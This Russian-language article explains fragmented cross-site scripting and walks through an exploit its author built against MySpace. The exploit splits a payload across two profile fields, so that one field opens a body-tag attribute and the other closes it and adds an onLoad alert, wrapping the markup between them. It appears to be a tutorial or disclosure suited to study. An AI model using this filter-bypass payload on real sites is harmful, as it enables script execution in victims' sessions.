Введение

На простом уровне объяснение
фрагментированной атаки довольно просто —
несколько фрагментов, самих по себе
безопасных и способных пройти фильтры или
файрволы, при достижении цели собираются в
единое целое, которое уже несет в себе
угрозу. Фрагментированные атаки обычно
применяются на сетевом/сессионном уровне —
для обхода систем обнаружения вторжения и
файрволов, однако могут применяться и для
более простых нападений, например
межсайтового скриптинга, в документах
которые собираются из частей и
предоставляются пользователю.

XSS фрагментация

Такой тип атак довольно редок из-за того,
что требуется несколько полей ввода,
отображающихся на одной странице, при этом
для всех должен применяться один и тот же
фильтр, который бы пропускал безопасные
части скрипта. Другое требование —
достаточная глупость или кривость фильтра,
он не должен вырезать символы < и > и в то
же время допускать строки там, где их быть
не должно. Например <body onload="alert(‘XSS’);">
может обрезаться, а body onload="alert(‘XSS’);" уже
быть доступным для использования. 

Глобальная идея фрагментации остается прежней — расположить сами по себе не опасные части скрипта в опасных местах. Простейшее такое
место — внутри другого тега.

MySpace 0day эксплоит

Свой пример фрагментированной XSS атаки я
разработал для сайта MySpace. 

Для начала немного теории. В профиле
имеется несколько полей для описания
собственной персоны — интересы, любимые
фильмы и т.п. Возьмем секцию интересов,
Музыку и Фильмы. В реале получаемый код
выглядит так:

<tr id=MusicRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Music</span>
</td>
<td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td>
</tr>
<script language="JavaScript">highlightInterests("ProfileMusic");</script>
<tr id=FilmsRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Films</span>
</td>
<td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Films Go Here!</td>
</tr>

Очевидно, что разделяет два
пользовательских поля лишь этот код:

</span>
</td>
<td id="ProfileMusic" width="175" bgcolor="#d5e8fb"
style="WORD-WRAP: break-word">Music Goes Here!</td>
</tr>
<script language="JavaScript">highlightInterests("ProfileMusic");
</script>
<tr id=FilmsRow>
<td valign="top" align="left" width="100"
bgcolor="#b1d0f0">
<span class="lightbluetext8">Films</span>
</td>
<td id="ProfileFilms" width="175" bgcolor="#d5e8fb"
style="WORD-WRAP: break-word">

Интересная его особенность заключается в
том, что в нем нет ни одной одинарной
кавычки, лишь стандартные двойные.

Конечно же мы можем сделать что-нибудь для
инкапсулирования этого текста:

<tr id=MusicRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Music</span>
</td>
<td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP:
break-word">
<body test='
</td>
</tr>
<script language="JavaScript">highlightInterests("ProfileMusic");
</script>
<tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Films</span>
</td>
<td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP:
break-word">
'>Films Go Here!
</td></tr>

Как вы видите, мы просто заключили этот
текст в параметр text тега body! Теперь мы можем
написать требуемый скрипт во втором
поле  — на требуемой нам опасной позиции! 

Следовательно, если мы сделаем параметр
Films таким:

' onLoad="alert('XSS');"></body>

то мы и получим реальную возможность
выполнить произвольный сценарий в
контексте уязвимого сайта.

Именно такая атака использовалась для
взлома MySpace. Я полагаю, что ее аналоги могут
работать на множестве других сайтов, где
пользовательский ввод делиться и
разрешаются теговые скобки.

Оставить мнение

Check Also

Плохая логика. Выполняем произвольный код в популярном сервере приложений Oracle WebLogic

Новая уязвимость в Oracle WebLogic позволяет выполнять произвольные команды на целевой сис…